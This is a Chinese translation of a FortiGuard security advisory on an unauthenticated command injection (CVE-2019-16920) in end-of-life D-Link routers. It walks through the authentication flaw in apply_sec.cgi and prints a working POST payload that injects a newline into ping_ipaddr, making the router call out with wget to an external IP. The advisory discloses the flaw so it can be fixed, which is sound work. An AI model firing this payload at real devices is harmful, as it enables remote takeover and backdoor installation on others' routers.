本文为翻译文章,原文链接为https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html

介绍

在2019年9月,Fortinet的FortiGuard实验室发现并报告D-Link产品的多个前台命令注入漏洞(FG-VD-19-117/CVE-2019-16920),这些漏洞可能会导致远程代码执行。我们将此视为严重问题,因为该漏洞无需身份验证即可远程触发。

根据我们的发现,该漏洞是在以下D-Link产品的最新固件中发现的:

  • DIR-655
  • DIR-866L
  • DIR-652
  • DHP-1565

在撰写本通报时,这些产品已经即将抵达生命周期末端(EOL, End Of Life),这意味着供应商将不会为我们发现的问题提供修复程序。FortiGuard Labs感谢供应商的快速响应,我们建议用户尽快升级到新的设备系列。

漏洞细节

漏洞起始于一个身份验证问题。要查看问题的产生,我们需要从管理页面开始,执行登录操作。(注意post参数action)

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Connection: close
Referer: http://192.168.232.128/
Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&
graph_code=&session_id=62384

这个登录操作通过/apply_sec.cgi的URI执行,快速浏览代码可以发现apply_sec.cgi的代码位于/www/cgi/ssi二进制文件中的函数do_ssc(0x40a210)。

current_user和current_username的值取自nvram:

然后,该函数会将current_user的值和变量acStack160的值进行比较。

current_user在NVRAM中值只有在登录成功后才会被设定,所以默认它的值是没有进行初始化设置的。acStack160的值是base64encode(user_username)的编码结果。并且默认情况下user_username设置的值为“user”,所以iVar2不可能返回值0,因此不会返回error.asp页面。

在do-while循环中,这个程序调用了函数put_querystring_env()来解析HTTP POST请求并且保存了值到ENV当中。接下来函数调用了query_vars("action", acStack288, 0x80)

这也就提供了action的值,也就是值保存到了ENV当中acStack288变量。如果成功,那么函数返回值0。

当iVar等于0,我们就会进入if条件,它将URI的值与"/apply_sec.cgi"进行比较。如果比较成功,那么ppcVar3就会指向SSC_SEC_OBJS数组。否则它会指向SSC_OBJS数组。

现在,ppcVar3指向了SSC_SEC_OBJS数组,该数组包含了一系列的action值。如果我们输入一个不包含在内的值,那么程序就会返回LAB_0040a458,也就会输出错误:"No OBJS for action: \<action input="">"</action>

您可以在之前返回error.asp的那段代码中中看到发生错误的身份验证检查的位置。即使我们未经身份验证,代码流仍会执行,这意味着我们可以在SSC_SEC_OBJS数组“ /apply_sec.cgi”路径下执行任何操作。

SSC_SEC_OBJS操作数组在哪里?它在函数init_plugin()的寄存器中:

当我们转到地址0x0051d89c并将其变量转换为单字(word)类型时,我们可以看到以下数组:

这里有个操作引起了我们的注意:

我们找到sub_41A010,这个函数从参数ping_ipaddr中获取其值。它通过inet_aton(),inet_ntoa()函数将值进行转换,然后执行ping操作。

如果我们尝试输入任何特殊字符,例如双引号,双引号,分号等,则ping操作将失败。但是如果我们传递换行符,例如:8.8.8.8%0als,我们可以执行命令注入攻击

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)

在这里,我们通过使用POST方法请求“apply_sec.cgi”来操控ping_test 。然后,我们在ping_ipaddr中执行命令注入。即使返回登录页面,仍然会执行ping_test操作,ping_ipaddr的值将在路由器服务器中执行“echo 1234”命令,然后将结果发送回我们的服务器。

此时,攻击者可以检索管理员密码,或将自己的后门安装到服务器上。

披露时间表

  • 2019年9月22日:FortiGuard实验室向D-Link报告了该漏洞。
  • 2019年9月23日:D-Link确认了此漏洞
  • 2019年9月25日:D-Link确认这些产品已停产
  • 2019年10月3日:公开发布该问题并发布了通报

结论

总之,该漏洞的根本原因是由于缺少对本机系统命令执行所执行的任意命令的健全性检查,这是许多固件制造商所遭受的典型安全隐患。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖